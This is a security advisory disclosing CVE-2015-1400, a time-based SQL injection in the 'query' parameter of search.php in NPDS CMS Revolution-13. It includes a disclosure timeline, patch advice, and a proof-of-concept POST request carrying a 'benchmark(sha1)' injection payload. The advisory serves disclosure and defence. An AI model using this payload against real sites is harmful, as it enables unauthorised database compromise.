Title - NPDS CMS Revolution-13 - SQL Injection Vulnerability
Credits & Author:
Narendra Bhati ( R00t Sh3ll )
www.websecgeeks.com
References (Source):
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http://www.npds.org/viewtopic.php?topic=26233&forum=12
http://websecgeeks.com/npds-cms-sql-injection/
Release Date:
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24-01-2015
CVE ID :
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CVE-2015-1400
Product & Service Introduction:
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http://www.npds.org/
Abstract Advisory Information:
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Narendra Bhati ( R00t Sh3ll ) An Information Security Analyst In Pune ( India ) discovered a remote sql injection vulnerability in the NPDS CMS .
Vulnerability Disclosure Timeline:
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25-01-2015 : Public Disclosure
Timeline Status:
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Reported To Vendor 14-12-2014
Verified By Vendor 15-12-2014
Acknowledge By Vendor 14-01-2015
Public Disclosure By Vendor 24-01-2015
Technical Disclosure 25-01-2015
Vendor Security Advisory http://www.npds.org/viewtopic.php?topic=26233&forum=12
Technical Disclosure - http://websecgeeks.com/npds-cms-sql-injection/
CVE-2015-1400
Mitigation For This Vulnerability There Is No Update By Vendor , But That Will Be Out Soon !
Affected Product(s):
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NPDS-Revolution-13
Exploitation Technique:
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Remote
Severity Level:
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High
Technical Details & Description:
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A sql injection web vulnerability has been discovered in the NPDS CMS - NPDS-Revolution-13.
The vulnerability allows an attacker to inject sql commands by usage of a vulnerable value to compromise the application dbms.
The sql injection vulnerability is located in the `query` parameter of the vulnerable `search.php ` application file. Remote attackers
are able to inject own sql commands by usage of vulnerable `search.php ` file. A successful attack requires to
manipulate a POST method request with vulnerable parameter `query` value to inject own sql commands. The injection is a time based ( tested ) by sql injection
that allows to compromise the web-application and connected dbms.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] NPDS-Revolution-13
Vulnerable File(s):
[+] search.php
Vulnerable Parameter(s):
[+] query
Proof of Concept (PoC):
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The remote sql injection web vulnerability can be exploited by remote attackers without privileged application user account.
For reproduce the security vulnerability follow the provided information and steps below to continue.
HTTP Request
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POST /npds/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/npds/index.php?op=edito
Cookie: cookievalue
Connection: keep-alive
content-type:! application/x-www-form-urlencoded
Content-Length: 63
query=")and benchmark(20000000,sha1(1))-
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Reference(s):
http://www.npds.org/viewtopic.php?topic=26233&forum=12
http://websecgeeks.com/npds-cms-sql-injection/
Solution - Fix & Patch:
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The vulnerability can be patched by a secure parse and encode of the vulnerability `query` parameter value in the search.php file.
Use a prepared statement to fix the issues fully and setup own exception that prevents sql injection attacks.
Security Risk:
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The security risk of the remote sql injection web vulnerability as critical
Credits & Author:
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Narendra Bhati ( R00t Sh3ll )
www.websecgeeks.com
